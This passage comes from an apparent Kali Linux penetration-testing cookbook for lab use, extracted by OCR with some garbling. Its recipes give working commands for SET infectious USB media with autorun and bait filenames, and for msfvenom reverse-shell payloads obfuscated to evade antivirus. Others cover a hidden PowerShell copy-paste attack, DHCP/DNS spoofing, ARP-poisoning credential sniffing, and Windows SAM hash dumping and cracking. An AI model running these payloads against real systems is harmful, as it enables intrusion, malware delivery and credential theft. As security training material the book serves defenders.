https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf
https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf
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6.

10.

11.

In this case, I am using the same sample site I used for the previous recipe. This is already

set to log all entries: https://www.darkderby.com/kali_cookbook3.html.

Record the location of the QR code file that is generated, as shown in the output:

set> 8

The QRCode Attack Vector will create a QRCode for you with whatever URL you want.

When you have the QRCode Generated, select an additional attack vector within SET and
deploy the QRCode to your victim. For example, generate a QRCode of the SET Java Applet

and send the QRCode via a mailer.

Enter the URL you want the QRCode to go to (99 to exit): https://ww .darkderby.com/kali_cookbook3.html
[*] QRCode has been generated under /root/.set/reports/qrcode_attack.png

Press to continue

Figure 8.37 - URL to QR code

To exit SET, enter 99 and press Enter repeatedly until you return to the shell

Move the file to someplace a bit easier to access. In our example, we will move it to the

user’s Downloads directory:

sudo mv /root/.set/reports/qrcode_attack.png ~/Downloads/.

Open the file location on your computer by browsing to it and double-clicking it. It will

display the QR code you generated.
Click on your QR code; the preceding one will bring you to my sample site.

You may now close the terminal window.

How it works...

This process simply creates a QR code from a URL. This can be used alongside many of the tech-

niques that we have already explored, and some that we will explore later. For instance, using

this with site cloning is a great way to steal information and credentials.

See also...

For an interesting discussion on the QR code attack vector, visithttps://blog.talosintelligence.

com/malicious_qr_codes/.


https://blog.talosintelligence.com/malicious_qr_codes/
https://blog.talosintelligence.com/malicious_qr_codes/
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Creating infectious media

In this recipe, we will create a malicious payload and place it on a USB drive. If the USB drive
is then inserted into a computer, it will compromise their system. By relying on human nature,
something as simple as dropping a USB drive near someone’s car can lead to a compromise of

their system, helping you gain access to their environment.

Getting ready

You need the following to complete this recipe:

e Kali Linux VM up and operational
e  Metasploitable Windows machine operational

e  USB stick (optional)

How to do it...
1. Open aterminal window.

2. Startthe SET:

sudo setoolkit

From the main menu of the SET, select 1) Social-Engineering Attacks.
Select 3) Infectious Media Generator.
Select 2) Standard Metasploit Executable.

Select 2) Windows Reverse_TCP Meterpreter.

N oo oW

Enter the host’s IP address (this is the IP address of the Kali PC on the same network as
the Windows Metasploitable PC):

192.168.92.5

8. Enter a port for the listener:

9443

Note

&

The location of the payload file is /root/.set/payload.exe.
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10.

11.

12.
13.

14.
15.

16.

:payloads>2
ayloads> IP address for the payload listener (LHOST): 192.168.92.3
ads> Enter the PORT for the reverse listener: 9443

[* Genérating the payload.. please be patient.

[*] Payload has been exported to the default SET directory located under: /root/.set/payload.exe
[*] Your attack has been created in the SET home directory (/root/.set/) folder 'autorun'
[*] Note a backup copy of template.pdf is also in /root/.set/template.pdf if needed.
Copy the contents of the folder to a CD/DVD/USB to autorun
set> Create a listener right now [yes|no]: [

Figure 8.38 - Listener starting

Create the listener now by entering yes.

Open a new terminal window and copy that file to the media of your choice and change
its name as appropriate. For this example, we will just directly move it to the Windows

machine:

sudo mv /root/.set/payload.exe ~/payload.exe

Now, you can move this file to your Metasploitable PC — use whatever method is easiest

for you.
Navigate to the file and double-click on it to execute.

Review that a connection was created back to the Kali machine, giving you access and

control.
You may now exit the connector and close the SET.

There are many ways to increase the effectiveness of this attack method. One way is to
use an autorun. inf file to try launching the exploit immediately. Insert your USB drive.

You may need to make changes in VirtualBox by assigning the USB drive to the VM.

In a terminal window on Kali, enter the following. This will move the payload to the USB
drive and will try and set it to autorun. We will also give the payload an enticing name

that might work as bait to get a user to click on it:

sudo chown kali payload.exe

sudo chgrp kali payload.exe

cp ~/payload.exe <USB DRIVE ROOT>/payload.exe
cp ~/payload.exe <USB DRIVE ROOT>/resume.pdf.exe
chmod 711 <USB DRIVE ROOT>/payload.exe

cat > ~/autorun.inf <<EOF

[autorun]

open=payload.exe

EOF

chmod 777 ~/autorun.inf

mv ~/autorun.inf <USB DRIVE ROOT>/autorun.inf
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Tip

N\ ! 7/
—@— For computers that have autorun enabled, they look for the autorun.inf
4 AN

g file on the root of the removable media and will open the files based on its

contents. In this case, the payload executable file will be run automatically.

17. You may now close the terminal window.

How it works...

It is still incredibly effective to drop USB drives in strategic locations. They will often gain the in-
terest of unsuspecting targets. In this case, we created a payload that, when launched, will connect
back to our host machine. We further showed how to place the file on a USB drive and how to use

the autorun. inf file to attempt to automatically launch the file when inserted into a victim’s PC.

See also...
An interesting article on the effectiveness of this method is located at https://www.wired.

com/2011/06/the-dropped-drive-hack/.

Obfuscating and manipulating URLs

In this recipe, we expose the techniques behind URL obfuscation and manipulation, where at-
tackers disguise malicious links to appear genuine or exploit lookalike characters to deceive users.
These tactics are often used with some of the other attacks we have discussed or will be discussing

to prevent people from recognizing an illegitimate site.

Getting ready

You need the Kali Linux VM up and operational to complete this recipe.


https://www.wired.com/2011/06/the-dropped-drive-hack/
https://www.wired.com/2011/06/the-dropped-drive-hack/
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How to do it...
1. Open aterminal window.

2. Run the following command:

ulimit -n 10000

urlcrazy example.com

At the time of the writing of this book, there was an error in one of the files. If you receive
the error message in Figure 8.39, then please follow Steps 3—7; otherwise, move to Step 8:

-~

example.com

URLCrazy Domain Report

Domain : example.com

Keyboard

At

/usr/share/ .rb:18:in “startup': undefined method “exists?' for class File (NoMethodError)

if File.exists?(country_db)
AAARARAA

Did you mean? exist?
from ./urlcrazy:841:in “<main>'

Figure 8.39 - The urlcrazy error
3. To correct the error, use the following:

sudo nano /usr/share/urlcrazy/country.rb

4. The file will be opened — scan for two entries labeled File.exists?:

def .startup

foldér: : .e%r_Jar;d;r-Jath{;
country_db = folder + "

if .exists?(country_db)
= .open(country_db,"rb")

.exists? folder + "

Figure 8.40 - The country_rb error
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5. Changetheentriesto File.exist?:
.startup
.expand_path( .dirname(__FILE_ ))
country_db = folder + ‘ry-ips.dat”
if .exist?(country_db)
= .open(country_db, "
if .exist?(folder + "
last_start=nil
last_end=nil
last_country=nil
.open(folder + ") do |wfile]
Figure 8.41 - country.rb with corrections
6. Press Ctrl + X followed by Y to exit and save the file.
7. Let’s try the command again:
urlcrazy example.com
8. After a few minutes, you will receive some output to scroll through. The output contains
sample domain names and whether the domain is available:
Original example.com 23.215.0.136 UNITED STATES (US) b.iana-servers.net.
Character Omission eample.com 6.223.54.146 UNITED STATES (US) ns2.namefind.com.
Character ssion examle.com 192.157.56.141  CANADA (CA) ns1.milesmx.com.
Character Omission exampe. com 172.104.149.86  UNITED STATES (US) meilan.ns.giantpanda.com. mail.mailerhost.net.
Character Omission exampl.com 199.191.50.184 VIRGIN ISLANDS (BRITISH) (VG) ns111484.ztomy.com. ~e
Character Omission example.cm 103.224.212.207 AUSTRALIA (AU) ns1.abovedomains.com. park-mx.above.com.
Character Omission example.co
Character Omission exaple.com 185.53.178.99 GERMANY (DE) nsl.parkingcrew.net.
Character Omission exmple.com 67.210.233.131  UNITED STATES (US) ns19.globalcon.net. localhost.exmple.com.
Character Repeat eexample.com 96.38.240.54 UNITED STATES (US) nsl.onlineearth.com. mail.onlineearth.com.
racter Repeat exaample.com nsl.dyna-ns.net. mx01.spamx.net.
exammple.com 54.243.117.197  UNITED STATES (US) nsgl.namebrightdns.com.
examplee.com 87.80 UNITED STATES (US) b.share-dns.net.
Character Repeat examplle.com 4.87 UNITED STATES (US) eric.ns.cloudflare.com.
Character Repeat exampple. com UNITED STATES (US) ns20.domaincontrol.com.
Character Repeat exxample.com UNITED STATES (US) cesar.ns.cloudflare.com. _dc-mx.302032b7a870.exxample.com.
Character Swap eaxmple. com JAPAN (JP) dns2.eaxmple.com. mail2.eaxmple.com.
Character Swap examlpe.com 23.25.84 UNITED STATES (US) nsg2.namebrightdns.com.
Character Swap exampel.com 64.151.235  UNITED STATES (US) nsl.anydns.com. mail.computer.com.
Character Swap exapmle.com 3 AUSTRALIA (AU) ns1.abovedomains.com. park-mx.above.com.
Character Swap exmaple.com UNITED STATES (US) ara.ns.cloudflare.com. isaac.mx.cloudflare.net.
Figure 8.42 - The urlcrazy output
9. There is a tremendous amount of information provided. Let’s make some other modifi-

cations to trim it down:

urlcrazy -o ~/example_com.txt example.com

10. You can review the output with the following:

less ~/example_com.txt
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11. Let’s create a CSV file so we can potentially automate it in the future:

urlcrazy -f csv -o ~/example_com.csv example.com

12. You can review the CSV output with the following:

less ~/example_com.csv

Run a few examples with some domains of your choice. What you will often find is that large

companies tend to register some of these domains to lessen their exposure to this type of attack.

How it works...

urlcrazy runs through a series of manipulations and checks those against DNS to see whether
they are alive and responsive. This provides you with options to register these domains and use

them in your social engineering attacks.

See also...

More information on urlcrazy is available on its GitHub page at https://github.com/

urbanadventurer/urlcrazy.

Using PowerShell as an attack vector

In this recipe, we look at PowerShell. PowerShell is a very powerful tool and can be exploited for
malicious purposes, such asinitial exploitation, privilege escalation, and lateral movement across

anetwork. We will use PowerShell as our exploit vector to gain remote access to the Windows VM.

Getting ready

You need the following to complete this recipe:

e  Kali Linux VM up and operational

e  Metasploitable Windows machine operational


https://github.com/urbanadventurer/urlcrazy
https://github.com/urbanadventurer/urlcrazy
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How to do it...

1

Open a terminal window and create your first PowerShell script using msfvenom. The

following command will create a simple PowerShell script that can be run on a Windows

machine:

msfvenom -p windows/x64/meterpreter/reverse_tcp \

LHOST=<KALI IP> LPORT=9443 -f psh -o ~/payload.psl

Note

The KALI IP valueis the IP address closest to the Windows machine.

Next, create an executable file that invokes the PowerShell script:

msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<KALI IP> LPORT=9443 -f exe \

-0 ~/payload.exe Powershell=1

To try and avoid our script from being picked up by antivirus software, we will encode

the payload multiple times in an attempt to obfuscate its true actions. However, most

antivirus systems will typically block any unsigned executable file:

msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<KALI IP> LPORT=9443 -e x64/xor_dynamic \
-i 7 -f psh -o ~/obfuscated.psl

The result will look something like this:

— -[~]

= fvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.92.3 LPORT=9443 -e x64/xor_dy
namic -i 7 -f psh -o ~/obfuscated.psl
[-] No platform was selected, choosing Msf ::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload

Found 1 compatible encoders
Attempting to encode payload with 7

x64/xor_dynamic succeeded
succeeded

succeeded
succeeded
succeeded
succeeded

succeeded

with
with
with
with
with
with
with

size
size
size
size
size
size
size

iterations of x64/xor_dynamic

560
610
661
712
763
814
865

(iteration=0)
(iteration=1)
(iteration=2)
(iteration=3)
(iteration=4)
(iteration=5)
(iteration=6)

chosen with final size 865

Payloadisize: 865 bytes

Final size of psh file: 5029 bytes
Saved as: /home/kali/obfuscated.psl

Figure 8.43 - PowerShell obfuscation
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4. Lastly, let’s try and create a script for copy and paste attacks (as shown in Figure 8.44):

msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<KALI IP> LPORT=9443 -f psh

tionType,

diit)]
IntPtr CreateThread(IntPtr lpThreadAttributes, uint dw i IntPtr lp
r lpParameter, uint ionFlags, IntPtr lpThreadId)

Add-Type -memberDefinition $DbAdscnCTn -Name “Win -namespace Win32Functions -pa

Figure 8.44 - PowerShell copy and paste

5. You can copy the code output from step 4 and add it to the following command:

powershell.exe -nop -w hidden -c "<PASTE CODE>"

Tip

We have seen a new vector of this attack as part of a fake CAPTCHA where
the attacker tells the user to press a button that copies the command and
code, and then they are told to hit the Windows key + R, Ctrl + V, and Enter.

This opens arun dialog, pastes the contents of the clipboard, and executes it.
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6. To test the various payloads you created, move them to your Metasploitable Windows

machine and start the listener on Kali by entering the following:

sudo msfdb run

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp
set LHOST <KALI IP>

set LPORT 9443

exploit -j

7. Move the files you created and test the different payloads.

| T 1
SO

g It may be beneficial to reboot the Windows machine between tests.

How it works...

In this recipe, we used msfvenom to generate PowerShell-based payloads designed to create a
reverse connection from the victim’s Windows machine back to our Kali system. These payloads
included a . ps1 script, an executable version, and an obfuscated script using multiple encoding
layers to help evade antivirus detection. We also explored a copy-paste style attack that tricks
the user into manually executing the payload using the Windows Run dialog. Once the payload s
executed, the Metasploit listener on Kali receives the connection, giving us control of the target

system through a Meterpreter session.

See also...

For more information on msfvenom, check out this web page: https://adfoster-r7.github.io/

metasploit-framework/docs/using-metasploit/basics/how-to-use-msfvenom.html.

Spoofing DHCP

In this recipe, we explain DHCP spoofing, an attack that subverts the Dynamic Host Configura-
tion Protocol (DHCP) to reroute network traffic and facilitate man-in-the-middle exploits. By
spoofing DHCP, you will redirect client traffic from the Ubuntu Metasploitable machine to your

Kali VM, which will allow you to access their data stream.


https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/basics/how-to-use-msfvenom.html
https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/basics/how-to-use-msfvenom.html
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Getting ready

You need the following to complete this recipe:

e Kali Linux VM up and operational
e  Metasploitable Ubuntu machine up and operational

e  Web browser

How to do it...
1.  Open aterminal window.

2. Launch Yersinia:

sudo yersinia -I

3. Select the host-only interface (in my case, eth1) and type the following as needed:

e i (togo tointerfaces)
e a(to shutoff ethe)
e b (toturnonethl)

e g (toexit)

4. Select DHCP for the protocol, type the following:

g (select protocol)

Scroll to DHCP and press Enter.
5. Let’s begin the attack. Enter the following:

e  x (to execute the attack)

e 2 (to create a DHCP rogue server)
6. Leveraging the following screenshot as a guide, enter the following information:

e ServerID

e StartIP

e EndIP

e Lease Time (secs)
e  Renew Time (secs)

e Subnet Mask



338 Human Hacking: The Art of Social Engineering

° Router
. DNS Server

e Domain

D 192.168.092.100
192.168.092.010

’ 192.168.092.019
00003600
00001800

sk 255.255.255.000

r 192.168.092.003

r 192.168.092.003
hackme.locall]

Figure 8.45 - Attack panel information

Tip

It’s important to use leading zeros and populate the fields properly and

completely.

7. Press Enter to begin the exploit.
8. To test the exploit, log into the Ubuntu machine and open a terminal window.

9. Start by showing the current IP address with the following command and look for the

appropriate interface; in my case, it’s ethe:

Link encap:Ethernet HWaddr 08:00:2
inet addr:192.168.92.4 Bcast:192. .92.255 Mask:255.255.255.0
inet6 addr: fTesV::abW:Z/fr:fe4l:51/9/b4 Scope:lLink

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:109 errors:® dropped:® overruns:0 frame:0
TX packet 38 errors:0 dropped:0 overruns:® carrier:0
collisions:0 txqueuelen:1000

RX bytes:25: (25.2 KB) TX bytes:22565 (22.5 KB)

Figure 8.46 - ifconfig
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10.

11.

12.

13.
14.

15.
16.

17.

\@/’ Note

Note that this IP address s outside the range you have provided in the exploit.

To simulate a new computer coming online or a computer trying to renew its IP address,

we will manually release and renew the IP address with the following command:

sudo dhclient -r && sudo dhclient ethe@

Use the ifconfig command to see whether your IP address has changed.

You may need to run the command several times to gain a possible change. It’s also pos-
sible that no matter how much you test, you will not see the change. This is due to the
fact that the DHCP processis part of the underlying hypervisor and can respond to DHCP

requests so much quicker than an external server can.

If you are having an issue seeing a change in the IP address, we can simulate this by

disabling the DHCP server in the hypervisor. To begin this process, shut both VMs down.
Open the VirtualBox manager and select File | Tools | Network Manager.

From the next screen, select Host-Only Networks | Properties | VirtualBox Host-Only

Ethernet Adapter | DHCP Server. Unselect Enable Server, and click on Apply.
Restart both VMs and start the exploit again.

Now, we will retest on the Ubuntu Metasploitable machine. In the terminal window, enter

the command again:

sudo dhclient -v -r && sudo dhclient -v etheo

You may need to reboot the Ubuntu VM for the change to take effect.

You will now see a different IP address that corresponds to the range you provided in the

exploit.

How it works...

DHCP is used to provide IP information on networks. Most networks will use a DHCP server to

configure client devices. When a DHCP client first boots up, it sends out a discovery packet to

obtain an IP address. Any DHCP server will respond to this request with their scope information.

It’s a race as the first device packet received by the client is the one used. This could potentially

lead to a client using an exploited DHCP client or even to route all its traffic through a particular

device for further exploitation.
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There's more...

One way to force a device, such as a client computer, to use the IP address provided by your DHCP
spoof exploit would be to exhaust the real DHCP server of all its IP addresses. Kali provides a tool

for this called dhcpig. Take a look atit here: https://www.kali.org/tools/dhcpig/.

Spoofing DNS

In this recipe, we investigate DNS spoofing, a method attackers use to alter DNS records and re-
direct users to malicious sites. We will use dnschef to perform the spoofing attacks. This will tie
back into the previous recipe on DHCP spoofing, since it provides the best method for inserting

DNS as part of an attack.

Getting ready

You need the Kali Linux VM up and operational to complete this recipe.

How to do it...
1. Open aterminal window.

2. From this window, we will use nslookup to resolve some domain names to IP addresses:

nslookup google.com

Take note of the results:

)—[~]
= s 1 p google.com
Server: 103.157.187.167
Address: 103.157.187.167#53

Non-authoritative answer:

Name: google.com

Address: 142.250.76.174

Name: google.com

Address: 2404:6800:4009:81a::200e

Figure 8.47 - nslookup google.com


https://www.kali.org/tools/dhcpig/
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3. Enter the following:

nslookup ns.google.com

— 51 p ns .éobgle .com
Server: 103.157.187.167
Address: 103.157.187.1674#53

Non-authoritative answer:
Name: ns.google.com
Address: 216.239.3

Figure 8.48 - nslookup ns.google.com

4. Enter the following:

nslookup nsl.google.com

— . rﬁljgc_)ogle.r:orl'l
Server: 103.157.187.167
Address: 103.157.187.167#53

Non-authoritative answer:
Name: nsl.google.c

Address: 216.239.3

Name: nsl.google.com
Address: 2001:4860:4802:32::a

Figure 8.49 - nslookup ns1.google.com

5. Enter the following:

nslookup example.com
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S ekampie.com
Server: 103.157.187.167
Address: 103.157.187.167#53

Non-authoritative answer:

Name: example.c

Address:

Name :

Address

Name :

Address:

Name :

Address:

Name :

Address

Name : n .com

Address: 220.75.232

Name : .com

Address 6 53::b81le:94c8
Name: mple.com

Address: 2600:1406:bc@0:53 ::b8le:94ce
Name: mple.com

Address: 2600:1408:ecP0:36::1736:7124
Name: mple.com

Address: :1408:ec00:3

Name: mple.com

Address: 2600:1406:5e00:6::17ce:bcl2

Name:

Address: 2600: 61 6 7ce:bclb

Figure 8.50 - nslookup example.com

6. Now, let’s start our DNS spoofing attack with dnschef:

dnschef --fakeip=192.168.92.3 --fakedomains=google
--nameserver=8.8.8.8

This will start dnschef listening on 127.0.0.1:

kali@kali: ~

Session Actions Edit View Help

— schef - 92. — 1air
/usr/bin/dnschef:453: SyntaxWarning: invalid escape sequence
header += " VA I VAR A I N AR N AV
/usr/bin/dnschef:454: SyntaxWarning: invalid escape sequence
header += " s N1 1r1r1r /1 \n"
/usr/bin/dnschef:455: SyntaxWarning: invalid escape sequence

header += " AV I AN [ O [ \n"
|1 /
| 1_ S I U
o SN/ N
1 G N W G Y Y Y A
AV B /\ I 1_IN |

iphelix@thesprawl.org

version 0.4 | |

v _ |/

(15:11:46) [*] DNSChef started on interface: 127.0.0.1
(15:11:46) [*] Using the following nameservers: 8.8.8.8
(15:11:46) [*] Cooking A replies to point to 192.168.92.3 matching: google

Figure 8.51 - dnschef started
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Let’s break this command down a bit.

Anoption thatInormally useis interface <INTERFACE>, which allows me to specify what

interface I want the service bound to. Often, this may be a wireless interface:

e --fakeip=<IP ADDRESS>is what gets returned in the DNS reply

e --fakedomains=<DOMAIN NAME> and all subdomains of this domain will resolve
to fakeip
e --nameserver=<VALID DNS SERVER> allows queries for other domains to be resolved

through this spoofing attack

7. Let’s check the results by opening a second terminal window and entering the following

commands:

nslookup

server 127.0.0.1

Session Actions Edit View Help

r—(kal )-[~]

b servér 127.0.0.1
Default server: 127.0.0.1
Address: 127.0.0.1#53

Figure 8.52 - Server 127.0.0.1 output

8. Enter the following and compare the IP address returned to our previous nslookup op-

erations:

Session Actions Edit View Help

—L 1 .-:~]

> server 127.0.0.1
Default server: 127.0.0.1
Address: 127.0.0.1#53

> google.com
Server:
Address:

Name:  google.com

Address: 192.168.92.3

Name: google.com

Address: 2404:6800:4009:80d

>

Figure 8.53 - nslookup of google.com
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9. Test and compare the others as well:

e nsl.google.com
. ns.google.com

e  www.google.com

e example.com (note this still returns the proper information)

10. You may now close the terminal windows.

How it works...

dnschef starts a rudimentary DNS server that will respond to queries based on the domains
and IP addresses entered. It will forward and proxy any domain requests that were not specified.
This tool works best with DHCP spoofing, where you can include your attacker’s IP address in
the DHCP reply.

There’s more...

More information on dnschef can be found athttps://www.kali.org/tools/dnschef/. Another
common DNS spoofing tool is bettercap. This is popular because of its ability to simultaneously
perform ARP spoofing, which is needed in an environment where you cannot replace the DNS
server through DHCP. Information on bettercap can be found athttps://www.kali.org/tools/
bettercap/. bettercap can be challenging to get working in a virtual environment, but is easily

tested on a physical network.

Get This Book’'s PDF Version and
Exclusive Extras E
-

Scan the QR code (or go to packtpub.com/unlock). Search for this

book by name, confirm the edition, and then follow the steps on

the page.

Note: Keep your invoice handy. Purchases made directly from Packt

don’t require an invoice.



https://www.kali.org/tools/dnschef/
https://www.kali.org/tools/bettercap/
https://www.kali.org/tools/bettercap/
http://packtpub.com/unlock

Breaking Barriers: the Secrets
of Password Cracking

In this chapter, you will learn how attackers compromise user credentials across various operating
systems and services. You will see how passwords and other authentication mechanisms can be
subverted through network interception, extraction of stored hashes, and systematic brute-force
attempts. By walking through each approach, you’ll gain insight into the practical steps adver-

saries follow to break into local systems, remote hosts, and entire domains.

We will dive into a broad range of techniques, from leveraging password lists to crafting powerful
mutation strategies and exploiting everyday habits such as password reuse. Whether the focus
is on cracking archived files, intercepting network traffic, or performing shoulder-surfing in
physical environments, this chapter emphasizes the methods and tools necessary to successfully

compromise login credentials.
The following recipes will be covered in this chapter:

e Implementing credential sniffing on network traffic
e  Crackinglocal Windows passwords

e  Cracking remote Windows passwords

e  Crackinglocal Linux passwords

e  Brute-forcing password hashes

e  Optimizing John the Ripper

e  Generating custom wordlists with CeWL

e Expanding custom word lists with RSMangler
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e Logging key strokes

e  Attacking 2FA

e  Cracking FTP/Telnet/SSH/LDAP passwords
e  Cracking RDP passwords

e  Cracking VNC passwords

e  Cracking ZIP/RAR files

e  Stuffing credentials

Technical requirements

We will be using a variety of different victim machines in our lab environment during this chapter.

Implementing credential sniffing on network traffic

In this recipe, you will learn how to intercept and analyze raw network traffic to uncover sen-
sitive login details. You'll work with Kali Linux-based tools to capture unencrypted or weakly
protected credentials, illustrating exactly how attackers extract vital information—and how to

defend against these methods.

Getting ready...

You need the following to complete this recipe:

e AKaliLinux VM, up and operational

e An Ubuntu Metasploitable VM, up and operational

How to do it...

1. Start by identifying the IP addresses of your Metasploitable Windows VM and your host
machine where VirtualBox is running. There will be multiple IP addresses; you are looking
for the IP addresses associated with the host-only network. Here is the information for

my network:
Host Windows Machine —192.168.1.34

Ubuntu Metasploitable VM —192.168.92.4
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In Kali, open a terminal window.

Enable IP forwarding on Kali to perform a man-in-the-middle attack using the following:

sudo sysctl -w net.ipv4.ip_forward=1

Check to see which interface is tied to the host-only network (look for the one with the

same subnet) using the following:

64 scopeid
(Ethernet)

collisions @

Figure 9.1 - ifconfig
In this example, you will see thatitis eth1.

Launch Ettercap with an ARP attack to redirect traffic toward our Kali VM using the fol-
lowing, with the first IP address being the gateway and the second IP address indicating
the target VM.

sudo ettercap -Tq -i ethl -M arp:remote /192.168.1.34//

/192.168.92.4//

Move to your Windows host machine, open a terminal window, and enter the following

command to create an FTP connection to the remote computer:

ftp 192.168.92.4

Enter the username and password as vagrant.
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10.

Return to the Kali Linux VM terminal window and observe the output, which provides

the username and password that were used to connect to the remote computer.

Text only Interface activated ...
Hit "h’ for inline hel

FTP : 192.168.92.4:21 — USER:

Figure 9.2 - Capture of FTP username and password

As you can see, we captured the username and password for the user.

Tip
N . . . Q Q
—@— Without ARP poisoning, we would not be able to see this, as a switch or
4 N
g router would prevent the Kali Linux VM from receiving the traffic, as it was

not destined for it.

Disable IP forwarding to return our computer to its original state:

sudo sysctl -w net.ipv4.ip_forward=0

You may now close all the terminal windows.

How it works...

It’s important to understand the importance of the ARP capabilities that are going on in this ex-

ample. By manipulating the ARP table, we are effectively redirecting communications between

the two devices (the host machine and the Metasploitable Ubuntu VM) via the Kali Linux box.

Without this manipulation, we would not be able to see the captured credentials. Ettercap looks

for a variety of clear-text passwords in communications between the two hosts and indicates

them in the output.

See also...

Ettercap has a multitude of tools included with it. It’s a very powerful tool in the Kali arsenal. To

get more information, check out their site at https://www.ettercap-project.org/.


https://www.ettercap-project.org/

Chapter 9 349

Cracking local Windows passwords

In this recipe, you will discover how to retrieve password hashes from a Windows system and
systematically crack them. By walking through a common extraction and cracking technique,
you’ll see how intruders gain local access and how you can reinforce endpoint security. For this

recipe, we will assume we have a compromised PC with direct access to the machine.

Getting ready...

You need the following to complete this recipe:

e AKaliLinux VM, up and operational

¢ A Windows Metasploitable VM, powered down

How to do it...

1. With the Windows machine powered down. Startit and immediately begin hitting the F8
key to be provided with the advanced boot options. If you don’t catch it initially, restart

the machine and try again. If successful, you will see the following screen:

Advanced Boot Options

Choose Advanced Options for: Windows Server 2008 R2
(Use the arrow keys to highlight your choice.)

Repair Your Computer)

safe Mode
Safe Mode with Networking
safe Mode with Command Prompt

Enable Boot Logging

Enable Tow-resolution video (640x480)

Last Knhown Good Configuration (advanced)
Directory Services Restore Mode

Debugging Mode

Disable automatic restart on system failure
Disable Driver Signature Enforcement

start windows Normally

Description: view a Tist of system recovery tools you can use to repair
startup problems, run diagnostics, or restore your system.

ENTER=Choose ESC=Cance

Figure 9.3 - Windows boot options

2. Select Repair Your Computer.
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3. Select the appropriate keyboard when asked and select Next.

4. Login with the username and password for Vagrant (these credentials would have been

obtained from other attacks).

Tip

N\ ! d
_,@\_ If you did not have a username and password, you could have booted from

a Kali thumb drive and mounted the Windows drive.

5. Select Command Prompt under the system recovery options:

i system Recovery Options x|

Choose a recovery tool
Operating system: Windows Server 2008 R2 on (C:) Windows 2008R2

Bystem Image Recovery

Recover your computer using a system image you created earlier

Windows Memory Diagnostic

i F

Chedk your computer for memory hardware errars

B Command Prompt

Open a command prompt window

Shut Down Restart

Figure 9.4 - Command Prompt

6. Once in the command prompt, enter the following commands to copy the password
databases to a new directory called hash:
mkdir c:\inetpub\wwwroot\hash
copy c:\Windows\System32\config\SAM c:\inetpub\wwwroot\hash\
copy c:\Windows\System32\config\SYSTEM c:\inetpub\wwwroot\hash\
7. Close the command prompt, click the Restart button, and allow the VM to boot normally.
8.

From Kali, open a terminal window and enter the following commands to move the col-
lected file to our Metasploitable Windows VM:

mkdir ~/hash
cd ~/hash

ftp 192.168.92.5
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(use the IP address of your Metasploitable Windows VM) and use the following creden-
tials to log in.

The user is vagrant and the password is vagrant.

bin
cd hash
get SAM

get SYSTEM

exit

Enter the following to dump the hashes:

cd ~/hash
samdump2 SYSTEM SAM > hash.txt

cat hash.txt

(verify the hashes are in the file).

kali@kali: ~/hash

Session Actions Edit View Help

)~[~)
~/hash

)-[~/hash]
)2 SYSTEM SAM > hash.txt

)-[~/hash]
2T hash. txt

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51F71d913¢245d35b5@8b
*disabledx Guest: :aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089
vagrant:1000:aad3b435b51404eeaad3b435b51404ee : e@2bc503339d51f71d913c245d35b50b
*disabled* sshd:1001:aad3b435b51404eeaad3b435b51404¢ee:31d6cfe@d16ae931b73c59d7¢e
sshd_server ad3b435b51404eeaad3bs35b51404ee:8dBalbcfc@61c3359db4a55d00ec27@35 :
leia_organa:1004:aad3b435b51404eeaad3b4s35b51404ee:8ae6a810ce203621cfocfabf21f14 8
luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22bBedbac82
han_solo:1006:aad3b435b51404eeaad3b435b51404ee d98c5969d@5a7¢c15c25c99e3ef951
artoo_detoo: :aad3b435b51404eeaad3bs35b5140@4ee: facbaada8b7afcs18b3afeab3b7577b4 :
c_three_pio:1008:aad3b435b51404eeaad3b435b51404ee:0fd2ebs0ctaab90171bal66c037397 e :
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4Tb77d816bce7aeee80d7c2e5e55c859
darth_vader ad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaataBibaeale
anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c7@6f83a7b17a0230e55cde2f3de9sf
jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee :ecldcd52077e75aef4al930b0917chds :::
lando_calrissian:1013:aad3b435b51404eeaad3b435b51404ee:6270845589812d7db11cfb670042a53
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee : d60T9a4859dasfeadat160e97d200dc
j 15:aad3b435b51404eeaad3bs35b51404ee :93echteaab3de3565F37fe7f28d99ce76

1aad3b435b51404eeaad3b435b51404ee: ce269c6b7d9e211522b44686b49082d

017:aad3b435b51404eeaad3bs35b51404ee:e7200536327ee731c7fel3b6aft575ed
kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001

)-[~/hash]

Figure 9.5 - samdump?2
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10. Let’s use hashcat and the popular rockyou wordlist to try and decipher the hashes. This

method looks for common password hashes:

hashcat -m 1000 -a @ hash.txt /usr/share/wordlists/rockyou.txt

Session

kali@kali: ~/hash

Actions Edit View Help

Dictionary cache built:

* Filename..:
Passwords. :

/usr/share/wordlists/rockyou.txt
14344392

: 139921507

Keyspace.. :
Runtime ... :

14344385
1 sec

31d6cfe@d16ae931b73¢c59d7e0c@89c0:
e02bc503339d51f71d913¢c245d35b50b:

paching final

Session....
Status
Hash.Mode. .
Hash.Target..
Time.Started..
Time.Estimated
Kernel.Feature...
Guess.Base
Guess.Queue
Speed.#01. .
Recovered. .
Progress...
Rejected...
Restore.Point.
Restore.Sub.#01.
Candidate.Engine
Candidates.#01 ..

Hardware.Mon.#@l.;

Started: Tue Nov
Stopped: Tue Nov

Tip

66c@37397ee

nace - workload adjusted.

: hashcat

Exhausted
1000 (NTLM)
hash.txt

: Tue Nov 4 15:38:46 2025 (6 secs)

: Tue Nov 4 15:38:52 2025 (0 secs)

: Pure Kernel (password length 0-256 bytes)
: File (/usr/share/wordlists/rockyou.txt)

1 1/1 (100.00%)
